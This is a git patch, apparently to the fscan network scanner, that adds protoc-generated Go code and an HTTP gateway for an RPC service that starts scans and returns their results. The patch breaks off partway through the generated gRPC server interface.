From f921d81a769db94eba2407bd1cbb1c0624c8f0c1 Mon Sep 17 00:00:00 2001 From: tongque <2863528786@qq.com> Date: Mon, 14 Apr 2025 13:49:02 +0800 Subject: [PATCH 01/12] =?UTF-8?q?feat:=E6=96=B0=E5=A2=9Erpc=E6=9C=8D?= =?UTF-8?q?=E5=8A=A1?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .gitignore | 1 + RPC/lib/fscan.pb.go | 409 +++++++++++++++++++++++++++++++ RPC/lib/fscan.pb.gw.go | 269 ++++++++++++++++++++ RPC/lib/fscan_grpc.pb.go | 207 ++++++++++++++++ RPC/lib/rpc.proto | 66 +++++ RPC/server.go | 70 ++++++ RPC/service/fscan.go | 85 +++++++ WebScan/pocs/spring-core-rce.yml | 27 -- go.mod | 19 +- go.sum | 65 +++-- 10 files changed, 1160 insertions(+), 58 deletions(-) create mode 100644 RPC/lib/fscan.pb.go create mode 100644 RPC/lib/fscan.pb.gw.go create mode 100644 RPC/lib/fscan_grpc.pb.go create mode 100644 RPC/lib/rpc.proto create mode 100644 RPC/server.go create mode 100644 RPC/service/fscan.go delete mode 100644 WebScan/pocs/spring-core-rce.yml diff --git a/.gitignore b/.gitignore index a6e63a1..4c6aeee 100644 --- a/.gitignore +++ b/.gitignore @@ -3,3 +3,4 @@ main .idea fscan.exe fscan +makefile diff --git a/RPC/lib/fscan.pb.go b/RPC/lib/fscan.pb.go new file mode 100644 index 0000000..53917df --- /dev/null +++ b/RPC/lib/fscan.pb.go @@ -0,0 +1,409 @@ +// Code generated by protoc-gen-go. DO NOT EDIT. +// versions: +// protoc-gen-go v1.36.6 +// protoc (unknown) +// source: proto/fscan.proto + +package lib + +import ( + _ "google.golang.org/genproto/googleapis/api/annotations" + protoreflect "google.golang.org/protobuf/reflect/protoreflect" + protoimpl "google.golang.org/protobuf/runtime/protoimpl" + reflect "reflect" + sync "sync" + unsafe "unsafe" +) + +const ( + // Verify that this generated code is sufficiently up-to-date. + _ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion) + // Verify that runtime/protoimpl is sufficiently up-to-date. + _ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20) +) + +// 启动任务的请求 +type StartScanRequest struct { + state protoimpl.MessageState `protogen:"open.v1"` + Secret string `protobuf:"bytes,1,opt,name=secret,proto3" json:"secret,omitempty"` + Arg string `protobuf:"bytes,2,opt,name=arg,proto3" json:"arg,omitempty"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache +} + +func (x *StartScanRequest) Reset() { + *x = StartScanRequest{} + mi := &file_proto_fscan_proto_msgTypes[0] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) +} + +func (x *StartScanRequest) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*StartScanRequest) ProtoMessage() {} + +func (x *StartScanRequest) ProtoReflect() protoreflect.Message { + mi := &file_proto_fscan_proto_msgTypes[0] + if x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use StartScanRequest.ProtoReflect.Descriptor instead. +func (*StartScanRequest) Descriptor() ([]byte, []int) { + return file_proto_fscan_proto_rawDescGZIP(), []int{0} +} + +func (x *StartScanRequest) GetSecret() string { + if x != nil { + return x.Secret + } + return "" +} + +func (x *StartScanRequest) GetArg() string { + if x != nil { + return x.Arg + } + return "" +} + +// 启动任务的响应 +type StartScanResponse struct { + state protoimpl.MessageState `protogen:"open.v1"` + TaskId string `protobuf:"bytes,1,opt,name=task_id,json=taskId,proto3" json:"task_id,omitempty"` + Message string `protobuf:"bytes,2,opt,name=message,proto3" json:"message,omitempty"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache +} + +func (x *StartScanResponse) Reset() { + *x = StartScanResponse{} + mi := &file_proto_fscan_proto_msgTypes[1] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) +} + +func (x *StartScanResponse) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*StartScanResponse) ProtoMessage() {} + +func (x *StartScanResponse) ProtoReflect() protoreflect.Message { + mi := &file_proto_fscan_proto_msgTypes[1] + if x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use StartScanResponse.ProtoReflect.Descriptor instead. +func (*StartScanResponse) Descriptor() ([]byte, []int) { + return file_proto_fscan_proto_rawDescGZIP(), []int{1} +} + +func (x *StartScanResponse) GetTaskId() string { + if x != nil { + return x.TaskId + } + return "" +} + +func (x *StartScanResponse) GetMessage() string { + if x != nil { + return x.Message + } + return "" +} + +// 获取扫描结果的请求 +type TaskResultsRequest struct { + state protoimpl.MessageState `protogen:"open.v1"` + TaskId string `protobuf:"bytes,1,opt,name=task_id,json=taskId,proto3" json:"task_id,omitempty"` + Offset uint32 `protobuf:"varint,2,opt,name=offset,proto3" json:"offset,omitempty"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache +} + +func (x *TaskResultsRequest) Reset() { + *x = TaskResultsRequest{} + mi := &file_proto_fscan_proto_msgTypes[2] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) +} + +func (x *TaskResultsRequest) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*TaskResultsRequest) ProtoMessage() {} + +func (x *TaskResultsRequest) ProtoReflect() protoreflect.Message { + mi := &file_proto_fscan_proto_msgTypes[2] + if x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use TaskResultsRequest.ProtoReflect.Descriptor instead. +func (*TaskResultsRequest) Descriptor() ([]byte, []int) { + return file_proto_fscan_proto_rawDescGZIP(), []int{2} +} + +func (x *TaskResultsRequest) GetTaskId() string { + if x != nil { + return x.TaskId + } + return "" +} + +func (x *TaskResultsRequest) GetOffset() uint32 { + if x != nil { + return x.Offset + } + return 0 +} + +// 获取扫描结果的响应 +type TaskResultsResponse struct { + state protoimpl.MessageState `protogen:"open.v1"` + TaskId string `protobuf:"bytes,1,opt,name=task_id,json=taskId,proto3" json:"task_id,omitempty"` + Results []*ScanResult `protobuf:"bytes,2,rep,name=results,proto3" json:"results,omitempty"` + Finished bool `protobuf:"varint,3,opt,name=finished,proto3" json:"finished,omitempty"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache +} + +func (x *TaskResultsResponse) Reset() { + *x = TaskResultsResponse{} + mi := &file_proto_fscan_proto_msgTypes[3] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) +} + +func (x *TaskResultsResponse) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*TaskResultsResponse) ProtoMessage() {} + +func (x *TaskResultsResponse) ProtoReflect() protoreflect.Message { + mi := &file_proto_fscan_proto_msgTypes[3] + if x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use TaskResultsResponse.ProtoReflect.Descriptor instead. +func (*TaskResultsResponse) Descriptor() ([]byte, []int) { + return file_proto_fscan_proto_rawDescGZIP(), []int{3} +} + +func (x *TaskResultsResponse) GetTaskId() string { + if x != nil { + return x.TaskId + } + return "" +} + +func (x *TaskResultsResponse) GetResults() []*ScanResult { + if x != nil { + return x.Results + } + return nil +} + +func (x *TaskResultsResponse) GetFinished() bool { + if x != nil { + return x.Finished + } + return false +} + +// 扫描结果结构体 +type ScanResult struct { + state protoimpl.MessageState `protogen:"open.v1"` + Time string `protobuf:"bytes,1,opt,name=time,proto3" json:"time,omitempty"` + Type string `protobuf:"bytes,2,opt,name=type,proto3" json:"type,omitempty"` + Target string `protobuf:"bytes,3,opt,name=target,proto3" json:"target,omitempty"` + Status string `protobuf:"bytes,4,opt,name=status,proto3" json:"status,omitempty"` + DetailsJson string `protobuf:"bytes,5,opt,name=details_json,json=detailsJson,proto3" json:"details_json,omitempty"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache +} + +func (x *ScanResult) Reset() { + *x = ScanResult{} + mi := &file_proto_fscan_proto_msgTypes[4] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) +} + +func (x *ScanResult) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*ScanResult) ProtoMessage() {} + +func (x *ScanResult) ProtoReflect() protoreflect.Message { + mi := &file_proto_fscan_proto_msgTypes[4] + if x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use ScanResult.ProtoReflect.Descriptor instead. +func (*ScanResult) Descriptor() ([]byte, []int) { + return file_proto_fscan_proto_rawDescGZIP(), []int{4} +} + +func (x *ScanResult) GetTime() string { + if x != nil { + return x.Time + } + return "" +} + +func (x *ScanResult) GetType() string { + if x != nil { + return x.Type + } + return "" +} + +func (x *ScanResult) GetTarget() string { + if x != nil { + return x.Target + } + return "" +} + +func (x *ScanResult) GetStatus() string { + if x != nil { + return x.Status + } + return "" +} + +func (x *ScanResult) GetDetailsJson() string { + if x != nil { + return x.DetailsJson + } + return "" +} + +var File_proto_fscan_proto protoreflect.FileDescriptor + +const file_proto_fscan_proto_rawDesc = "" + + "\n" + + "\x11proto/fscan.proto\x12\x03lib\x1a\x1cgoogle/api/annotations.proto\"<\n" + + "\x10StartScanRequest\x12\x16\n" + + "\x06secret\x18\x01 \x01(\tR\x06secret\x12\x10\n" + + "\x03arg\x18\x02 \x01(\tR\x03arg\"F\n" + + "\x11StartScanResponse\x12\x17\n" + + "\atask_id\x18\x01 \x01(\tR\x06taskId\x12\x18\n" + + "\amessage\x18\x02 \x01(\tR\amessage\"E\n" + + "\x12TaskResultsRequest\x12\x17\n" + + "\atask_id\x18\x01 \x01(\tR\x06taskId\x12\x16\n" + + "\x06offset\x18\x02 \x01(\rR\x06offset\"u\n" + + "\x13TaskResultsResponse\x12\x17\n" + + "\atask_id\x18\x01 \x01(\tR\x06taskId\x12)\n" + + "\aresults\x18\x02 \x03(\v2\x0f.lib.ScanResultR\aresults\x12\x1a\n" + + "\bfinished\x18\x03 \x01(\bR\bfinished\"\x87\x01\n" + + "\n" + + "ScanResult\x12\x12\n" + + "\x04time\x18\x01 \x01(\tR\x04time\x12\x12\n" + + "\x04type\x18\x02 \x01(\tR\x04type\x12\x16\n" + + "\x06target\x18\x03 \x01(\tR\x06target\x12\x16\n" + + "\x06status\x18\x04 \x01(\tR\x06status\x12!\n" + + "\fdetails_json\x18\x05 \x01(\tR\vdetailsJson2\xa0\x02\n" + + "\fFscanService\x12T\n" + + "\tStartScan\x12\x15.lib.StartScanRequest\x1a\x16.lib.StartScanResponse\"\x18\x82\xd3\xe4\x93\x02\x12:\x01*\"\r/v1/startscan\x12^\n" + + "\x0eGetScanResults\x12\x17.lib.TaskResultsRequest\x1a\x18.lib.TaskResultsResponse\"\x19\x82\xd3\xe4\x93\x02\x13:\x01*\"\x0e/v1/getresults\x12Z\n" + + "\x11StreamScanResults\x12\x17.lib.TaskResultsRequest\x1a\x0f.lib.ScanResult\"\x19\x82\xd3\xe4\x93\x02\x13\x12\x11/v1/streamresults0\x01B\x1eZ\x1cgithub.com/shadow1ng/RPC;libb\x06proto3" + +var ( + file_proto_fscan_proto_rawDescOnce sync.Once + file_proto_fscan_proto_rawDescData []byte +) + +func file_proto_fscan_proto_rawDescGZIP() []byte { + file_proto_fscan_proto_rawDescOnce.Do(func() { + file_proto_fscan_proto_rawDescData = protoimpl.X.CompressGZIP(unsafe.Slice(unsafe.StringData(file_proto_fscan_proto_rawDesc), len(file_proto_fscan_proto_rawDesc))) + }) + return file_proto_fscan_proto_rawDescData +} + +var file_proto_fscan_proto_msgTypes = make([]protoimpl.MessageInfo, 5) +var file_proto_fscan_proto_goTypes = []any{ + (*StartScanRequest)(nil), // 0: lib.StartScanRequest + (*StartScanResponse)(nil), // 1: lib.StartScanResponse + (*TaskResultsRequest)(nil), // 2: lib.TaskResultsRequest + (*TaskResultsResponse)(nil), // 3: lib.TaskResultsResponse + (*ScanResult)(nil), // 4: lib.ScanResult +} +var file_proto_fscan_proto_depIdxs = []int32{ + 4, // 0: lib.TaskResultsResponse.results:type_name -> lib.ScanResult + 0, // 1: lib.FscanService.StartScan:input_type -> lib.StartScanRequest + 2, // 2: lib.FscanService.GetScanResults:input_type -> lib.TaskResultsRequest + 2, // 3: lib.FscanService.StreamScanResults:input_type -> lib.TaskResultsRequest + 1, // 4: lib.FscanService.StartScan:output_type -> lib.StartScanResponse + 3, // 5: lib.FscanService.GetScanResults:output_type -> lib.TaskResultsResponse + 4, // 6: lib.FscanService.StreamScanResults:output_type -> lib.ScanResult + 4, // [4:7] is the sub-list for method output_type + 1, // [1:4] is the sub-list for method input_type + 1, // [1:1] is the sub-list for extension type_name + 1, // [1:1] is the sub-list for extension extendee + 0, // [0:1] is the sub-list for field type_name +} + +func init() { file_proto_fscan_proto_init() } +func file_proto_fscan_proto_init() { + if File_proto_fscan_proto != nil { + return + } + type x struct{} + out := protoimpl.TypeBuilder{ + File: protoimpl.DescBuilder{ + GoPackagePath: reflect.TypeOf(x{}).PkgPath(), + RawDescriptor: unsafe.Slice(unsafe.StringData(file_proto_fscan_proto_rawDesc), len(file_proto_fscan_proto_rawDesc)), + NumEnums: 0, + NumMessages: 5, + NumExtensions: 0, + NumServices: 1, + }, + GoTypes: file_proto_fscan_proto_goTypes, + DependencyIndexes: file_proto_fscan_proto_depIdxs, + MessageInfos: file_proto_fscan_proto_msgTypes, + }.Build() + File_proto_fscan_proto = out.File + file_proto_fscan_proto_goTypes = nil + file_proto_fscan_proto_depIdxs = nil +} diff --git a/RPC/lib/fscan.pb.gw.go b/RPC/lib/fscan.pb.gw.go new file mode 100644 index 0000000..5d64ea4 --- /dev/null +++ b/RPC/lib/fscan.pb.gw.go @@ -0,0 +1,269 @@ +// Code generated by protoc-gen-grpc-gateway. DO NOT EDIT. +// source: proto/fscan.proto + +/* +Package lib is a reverse proxy. + +It translates gRPC into RESTful JSON APIs. +*/ +package lib + +import ( + "context" + "errors" + "io" + "net/http" + + "github.com/grpc-ecosystem/grpc-gateway/v2/runtime" + "github.com/grpc-ecosystem/grpc-gateway/v2/utilities" + "google.golang.org/grpc" + "google.golang.org/grpc/codes" + "google.golang.org/grpc/grpclog" + "google.golang.org/grpc/metadata" + "google.golang.org/grpc/status" + "google.golang.org/protobuf/proto" +) + +// Suppress "imported and not used" errors +var ( + _ codes.Code + _ io.Reader + _ status.Status + _ = errors.New + _ = runtime.String + _ = utilities.NewDoubleArray + _ = metadata.Join +) + +func request_FscanService_StartScan_0(ctx context.Context, marshaler runtime.Marshaler, client FscanServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var ( + protoReq StartScanRequest + metadata runtime.ServerMetadata + ) + if err := marshaler.NewDecoder(req.Body).Decode(&protoReq); err != nil && !errors.Is(err, io.EOF) { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + msg, err := client.StartScan(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) + return msg, metadata, err +} + +func local_request_FscanService_StartScan_0(ctx context.Context, marshaler runtime.Marshaler, server FscanServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var ( + protoReq StartScanRequest + metadata runtime.ServerMetadata + ) + if err := marshaler.NewDecoder(req.Body).Decode(&protoReq); err != nil && !errors.Is(err, io.EOF) { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + msg, err := server.StartScan(ctx, &protoReq) + return msg, metadata, err +} + +func request_FscanService_GetScanResults_0(ctx context.Context, marshaler runtime.Marshaler, client FscanServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var ( + protoReq TaskResultsRequest + metadata runtime.ServerMetadata + ) + if err := marshaler.NewDecoder(req.Body).Decode(&protoReq); err != nil && !errors.Is(err, io.EOF) { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + msg, err := client.GetScanResults(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) + return msg, metadata, err +} + +func local_request_FscanService_GetScanResults_0(ctx context.Context, marshaler runtime.Marshaler, server FscanServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var ( + protoReq TaskResultsRequest + metadata runtime.ServerMetadata + ) + if err := marshaler.NewDecoder(req.Body).Decode(&protoReq); err != nil && !errors.Is(err, io.EOF) { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + msg, err := server.GetScanResults(ctx, &protoReq) + return msg, metadata, err +} + +var filter_FscanService_StreamScanResults_0 = &utilities.DoubleArray{Encoding: map[string]int{}, Base: []int(nil), Check: []int(nil)} + +func request_FscanService_StreamScanResults_0(ctx context.Context, marshaler runtime.Marshaler, client FscanServiceClient, req *http.Request, pathParams map[string]string) (FscanService_StreamScanResultsClient, runtime.ServerMetadata, error) { + var ( + protoReq TaskResultsRequest + metadata runtime.ServerMetadata + ) + io.Copy(io.Discard, req.Body) + if err := req.ParseForm(); err != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + if err := runtime.PopulateQueryParameters(&protoReq, req.Form, filter_FscanService_StreamScanResults_0); err != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + stream, err := client.StreamScanResults(ctx, &protoReq) + if err != nil { + return nil, metadata, err + } + header, err := stream.Header() + if err != nil { + return nil, metadata, err + } + metadata.HeaderMD = header + return stream, metadata, nil +} + +// RegisterFscanServiceHandlerServer registers the http handlers for service FscanService to "mux". +// UnaryRPC :call FscanServiceServer directly. +// StreamingRPC :currently unsupported pending https://github.com/grpc/grpc-go/issues/906. +// Note that using this registration option will cause many gRPC library features to stop working. Consider using RegisterFscanServiceHandlerFromEndpoint instead. +// GRPC interceptors will not work for this type of registration. To use interceptors, you must use the "runtime.WithMiddlewares" option in the "runtime.NewServeMux" call. +func RegisterFscanServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux, server FscanServiceServer) error { + mux.Handle(http.MethodPost, pattern_FscanService_StartScan_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + var stream runtime.ServerTransportStream + ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + annotatedContext, err := runtime.AnnotateIncomingContext(ctx, mux, req, "/lib.FscanService/StartScan", runtime.WithHTTPPathPattern("/v1/startscan")) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := local_request_FscanService_StartScan_0(annotatedContext, inboundMarshaler, server, req, pathParams) + md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) + annotatedContext = runtime.NewServerMetadataContext(annotatedContext, md) + if err != nil { + runtime.HTTPError(annotatedContext, mux, outboundMarshaler, w, req, err) + return + } + forward_FscanService_StartScan_0(annotatedContext, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + }) + mux.Handle(http.MethodPost, pattern_FscanService_GetScanResults_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + var stream runtime.ServerTransportStream + ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + annotatedContext, err := runtime.AnnotateIncomingContext(ctx, mux, req, "/lib.FscanService/GetScanResults", runtime.WithHTTPPathPattern("/v1/getresults")) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := local_request_FscanService_GetScanResults_0(annotatedContext, inboundMarshaler, server, req, pathParams) + md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) + annotatedContext = runtime.NewServerMetadataContext(annotatedContext, md) + if err != nil { + runtime.HTTPError(annotatedContext, mux, outboundMarshaler, w, req, err) + return + } + forward_FscanService_GetScanResults_0(annotatedContext, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + }) + + mux.Handle(http.MethodGet, pattern_FscanService_StreamScanResults_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + err := status.Error(codes.Unimplemented, "streaming calls are not yet supported in the in-process transport") + _, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + }) + + return nil +} + +// RegisterFscanServiceHandlerFromEndpoint is same as RegisterFscanServiceHandler but +// automatically dials to "endpoint" and closes the connection when "ctx" gets done. +func RegisterFscanServiceHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) { + conn, err := grpc.NewClient(endpoint, opts...) + if err != nil { + return err + } + defer func() { + if err != nil { + if cerr := conn.Close(); cerr != nil { + grpclog.Errorf("Failed to close conn to %s: %v", endpoint, cerr) + } + return + } + go func() { + <-ctx.Done() + if cerr := conn.Close(); cerr != nil { + grpclog.Errorf("Failed to close conn to %s: %v", endpoint, cerr) + } + }() + }() + return RegisterFscanServiceHandler(ctx, mux, conn) +} + +// RegisterFscanServiceHandler registers the http handlers for service FscanService to "mux". +// The handlers forward requests to the grpc endpoint over "conn". +func RegisterFscanServiceHandler(ctx context.Context, mux *runtime.ServeMux, conn *grpc.ClientConn) error { + return RegisterFscanServiceHandlerClient(ctx, mux, NewFscanServiceClient(conn)) +} + +// RegisterFscanServiceHandlerClient registers the http handlers for service FscanService +// to "mux". The handlers forward requests to the grpc endpoint over the given implementation of "FscanServiceClient". +// Note: the gRPC framework executes interceptors within the gRPC handler. If the passed in "FscanServiceClient" +// doesn't go through the normal gRPC flow (creating a gRPC client etc.) then it will be up to the passed in +// "FscanServiceClient" to call the correct interceptors. This client ignores the HTTP middlewares. +func RegisterFscanServiceHandlerClient(ctx context.Context, mux *runtime.ServeMux, client FscanServiceClient) error { + mux.Handle(http.MethodPost, pattern_FscanService_StartScan_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + annotatedContext, err := runtime.AnnotateContext(ctx, mux, req, "/lib.FscanService/StartScan", runtime.WithHTTPPathPattern("/v1/startscan")) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := request_FscanService_StartScan_0(annotatedContext, inboundMarshaler, client, req, pathParams) + annotatedContext = runtime.NewServerMetadataContext(annotatedContext, md) + if err != nil { + runtime.HTTPError(annotatedContext, mux, outboundMarshaler, w, req, err) + return + } + forward_FscanService_StartScan_0(annotatedContext, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + }) + mux.Handle(http.MethodPost, pattern_FscanService_GetScanResults_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + annotatedContext, err := runtime.AnnotateContext(ctx, mux, req, "/lib.FscanService/GetScanResults", runtime.WithHTTPPathPattern("/v1/getresults")) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := request_FscanService_GetScanResults_0(annotatedContext, inboundMarshaler, client, req, pathParams) + annotatedContext = runtime.NewServerMetadataContext(annotatedContext, md) + if err != nil { + runtime.HTTPError(annotatedContext, mux, outboundMarshaler, w, req, err) + return + } + forward_FscanService_GetScanResults_0(annotatedContext, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + }) + mux.Handle(http.MethodGet, pattern_FscanService_StreamScanResults_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + annotatedContext, err := runtime.AnnotateContext(ctx, mux, req, "/lib.FscanService/StreamScanResults", runtime.WithHTTPPathPattern("/v1/streamresults")) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := request_FscanService_StreamScanResults_0(annotatedContext, inboundMarshaler, client, req, pathParams) + annotatedContext = runtime.NewServerMetadataContext(annotatedContext, md) + if err != nil { + runtime.HTTPError(annotatedContext, mux, outboundMarshaler, w, req, err) + return + } + forward_FscanService_StreamScanResults_0(annotatedContext, mux, outboundMarshaler, w, req, func() (proto.Message, error) { return resp.Recv() }, mux.GetForwardResponseOptions()...) + }) + return nil +} + +var ( + pattern_FscanService_StartScan_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"v1", "startscan"}, "")) + pattern_FscanService_GetScanResults_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"v1", "getresults"}, "")) + pattern_FscanService_StreamScanResults_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"v1", "streamresults"}, "")) +) + +var ( + forward_FscanService_StartScan_0 = runtime.ForwardResponseMessage + forward_FscanService_GetScanResults_0 = runtime.ForwardResponseMessage + forward_FscanService_StreamScanResults_0 = runtime.ForwardResponseStream +) diff --git a/RPC/lib/fscan_grpc.pb.go b/RPC/lib/fscan_grpc.pb.go new file mode 100644 index 0000000..c2ca790 --- /dev/null +++ b/RPC/lib/fscan_grpc.pb.go @@ -0,0 +1,207 @@ +// Code generated by protoc-gen-go-grpc. DO NOT EDIT. +// versions: +// - protoc-gen-go-grpc v1.5.1 +// - protoc (unknown) +// source: proto/fscan.proto + +package lib + +import ( + context "context" + grpc "google.golang.org/grpc" + codes "google.golang.org/grpc/codes" + status "google.golang.org/grpc/status" +) + +// This is a compile-time assertion to ensure that this generated file +// is compatible with the grpc package it is being compiled against. +// Requires gRPC-Go v1.64.0 or later. +const _ = grpc.SupportPackageIsVersion9 + +const ( + FscanService_StartScan_FullMethodName = "/lib.FscanService/StartScan" + FscanService_GetScanResults_FullMethodName = "/lib.FscanService/GetScanResults" + FscanService_StreamScanResults_FullMethodName = "/lib.FscanService/StreamScanResults" +) + +// FscanServiceClient is the client API for FscanService service. +// +// For semantics around ctx use and closing/ending streaming RPCs, please refer to https://pkg.go.dev/google.golang.org/grpc/?tab=doc#ClientConn.NewStream. +type FscanServiceClient interface { + // 启动扫描任务 + StartScan(ctx context.Context, in *StartScanRequest, opts ...grpc.CallOption) (*StartScanResponse, error) + // 获取扫描结果(非流式) + GetScanResults(ctx context.Context, in *TaskResultsRequest, opts ...grpc.CallOption) (*TaskResultsResponse, error) + // 获取扫描结果(流式) + StreamScanResults(ctx context.Context, in *TaskResultsRequest, opts ...grpc.CallOption) (grpc.ServerStreamingClient[ScanResult], error) +} + +type fscanServiceClient struct { + cc grpc.ClientConnInterface +} + +func NewFscanServiceClient(cc grpc.ClientConnInterface) FscanServiceClient { + return &fscanServiceClient{cc} +} + +func (c *fscanServiceClient) StartScan(ctx context.Context, in *StartScanRequest, opts ...grpc.CallOption) (*StartScanResponse, error) { + cOpts := append([]grpc.CallOption{grpc.StaticMethod()}, opts...) + out := new(StartScanResponse) + err := c.cc.Invoke(ctx, FscanService_StartScan_FullMethodName, in, out, cOpts...) + if err != nil { + return nil, err + } + return out, nil +} + +func (c *fscanServiceClient) GetScanResults(ctx context.Context, in *TaskResultsRequest, opts ...grpc.CallOption) (*TaskResultsResponse, error) { + cOpts := append([]grpc.CallOption{grpc.StaticMethod()}, opts...) + out := new(TaskResultsResponse) + err := c.cc.Invoke(ctx, FscanService_GetScanResults_FullMethodName, in, out, cOpts...) + if err != nil { + return nil, err + } + return out, nil +} + +func (c *fscanServiceClient) StreamScanResults(ctx context.Context, in *TaskResultsRequest, opts ...grpc.CallOption) (grpc.ServerStreamingClient[ScanResult], error) { + cOpts := append([]grpc.CallOption{grpc.StaticMethod()}, opts...) + stream, err := c.cc.NewStream(ctx, &FscanService_ServiceDesc.Streams[0], FscanService_StreamScanResults_FullMethodName, cOpts...) + if err != nil { + return nil, err + } + x := &grpc.GenericClientStream[TaskResultsRequest, ScanResult]{ClientStream: stream} + if err := x.ClientStream.SendMsg(in); err != nil { + return nil, err + } + if err := x.ClientStream.CloseSend(); err != nil { + return nil, err + } + return x, nil +} + +// This type alias is provided for backwards compatibility with existing code that references the prior non-generic stream type by name. +type FscanService_StreamScanResultsClient = grpc.ServerStreamingClient[ScanResult] + +// FscanServiceServer is the server API for FscanService service. +// All implementations must embed UnimplementedFscanServiceServer +// for forward compatibility. +type FscanServiceServer interface { + // 启动扫描任务 + StartScan(context.Context, *StartScanRequest) (*StartScanResponse, error) + // 获取扫描结果(非流式) + GetScanResults(context.Context, *TaskResultsRequest) 